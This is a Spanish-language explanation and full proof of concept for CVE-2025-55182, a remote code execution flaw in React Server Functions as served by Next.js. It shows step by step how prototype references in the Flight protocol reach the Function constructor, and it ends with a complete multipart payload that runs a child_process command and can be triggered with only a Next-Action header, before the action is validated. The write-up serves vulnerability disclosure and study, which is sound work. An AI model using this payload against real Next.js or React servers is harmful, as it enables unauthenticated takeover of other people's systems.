
Explicación y PoC completo de RCE para CVE-2025-55182
Esta vulnerabilidad permite RCE en las Server Functions de React, por ejemplo, tal como las ofrece Next.js a través de referencias inseguras a prototipos.
No soy un experto en React o Next.js, así que toma toda la información aquí con cautela.
React ofrece Server Functions1, que pueden considerarse como una especie de RPC sobre HTTP. Se pueden usar para obtener datos de pares adyacentes y garantizar baja latencia, o realizar solicitudes autenticadas para las que el cliente carece de credenciales.
React utiliza algo llamado React Flight Protocol2 para la serialización de valores pasados a Server Functions.
El cliente pasa "chunks" al servidor, por ejemplo a través de datos de formulario:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Como se muestra, estos pueden tener referencias entre sí. La carga útil anterior se deserializa de la siguiente manera en el servidor:
{ object: 'fruit', name: 'cherry' }
El formato en sí es un poco más intrincado y permite una serialización y deserialización más complejas, pero esto proporciona un conocimiento básico para entender la vulnerabilidad real.
Hasta este commit3, al recorrer chunks en la resolución de referencias,
como obtener fruitName del chunk 2 en el ejemplo anterior, React
no verificaba si la clave solicitada estaba realmente definida en el objeto.
Esto nos permitía acceder al prototipo del objeto4.
Esto se puede demostrar con una carga útil como esta:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Que se deserializa al constructor de funciones5:
[Function: Function]
Cuando el chunk con ID 0 no es un array sino un objeto, podemos
establecer la clave then al constructor de funciones. El objeto es luego
devuelto por la función decodeReplyFromBusboy y se espera (await) por Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Cuando esto devuelve un thenable, el await en el llamador lo ejecutará.
Esto es lo que sucede con esta carga útil:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Lo que lleva a este error:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
El error se ve así porque V8 llama a una función que se está esperando (await)
con las funciones internas resolve y reject, que, cuando se convierten
a cadena (toString), se serializan a algo como:
function () { [native code] }
Dado que podemos obtener trivialmente el constructor Function, la
forma directa es encontrar un gadget de llamada que invoque al
constructor con un valor controlado por el usuario (es decir, el código de la
función como cadena), y luego llame a la función devuelta.
Hay varios lugares que pueden llamar al constructor de funciones,
por ejemplo resolveServerReference, donde id es un objeto controlado,
y lastIndexOf puede sobrescribirse para devolver una cadena controlada
por el usuario (p. ej., mediante Array.prototype.join) y slice puede
sobrescribirse al constructor de funciones. Sin embargo, este lugar no funciona
porque la segunda invocación de .slice() proporciona un número como primer
argumento, que —hasta donde sé— nunca puede ser manejado por el constructor
de funciones.
Aquí entra una idea brillante de maple31426. Cuando getChunk
toma el chunk con ID 0 como referencia raíz para comenzar a resolver la
cadena de referencias, este mismo chunk puede resolverse a un
"falso chunk" creado intencionadamente.
Podemos hacer referencia al chunk 0 creado intencionadamente en el chunk 1
usando la sintaxis $@, que devuelve el chunk "crudo", no su valor resuelto:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Combinando esto con nuestra sobreescritura de then anterior, podemos
crear algo como esto:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Aquí, el chunk 0 sobrescribe su propio .then() con el .then() de
su propia representación de chunk crudo. En términos simples, sobrescribimos
nuestro propio .then() con Chunk.prototype.then, que existe, ya que
los Chunk son thenables:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Con la carga útil anterior, Chunk.prototype.then finalmente se llama
con el chunk creado intencionadamente con ID 0.
Como se muestra arriba, cuando .status en nuestro chunk falso es resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Entramos en initializeModelChunk. Aquí, .value se analiza como JSON,
y luego se resuelven las referencias sobre el objeto devuelto, usando el contexto
"externo" de nuestros chunks con IDs 0 y 1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Dentro de esto, ahora tenemos una segunda pasada de evaluación con algunos valores adicionales a los que tenemos acceso debido a que el contexto externo ya está resuelto.
Hay un gadget de llamada en el manejo de datos blob con el prefijo $B
en el protocolo flight:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Usando el campo especial _response, controlamos la propiedad response
del chunk creado intencionadamente:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
Con esto, podemos crear un objeto con propiedades ._formData y ._prefix
falsas:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
La propiedad .reason debe añadirse para evitar fallar en la invocación
de toString en initializeModelChunk:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Al apuntar ._formData al constructor de funciones, y ._prefix a
nuestro código, obtenemos un gadget de invocación para el constructor de
funciones en la deserialización de blobs:
response._formData.get(response._prefix + "0")
// se convierte en
Function("return foo; // 0")
Nuestra función creada intencionadamente es luego devuelta por parseModelString como
el método .then() del chunk creado intencionadamente, que también se espera (await), ya que
todo esto ocurre en una única cadena de resolución de promesas. Por lo tanto,
al devolver un thenable, nuestra función creada intencionadamente es llamada. Esto constituye
el gadget de llamada requerido mencionado anteriormente.
Juntando todo esto con una carga útil real de RCE, obtenemos algo como esto:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
El extra, que hace que esta vulnerabilidad sea aún peor, es que todo esto
ocurre durante la deserialización, antes de que la acción solicitada sea validada
en getActionModIdOrError. Por lo tanto, establecer una cabecera como Next-Action: foo es
suficiente para desencadenar la vulnerabilidad.
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/es/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/es/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E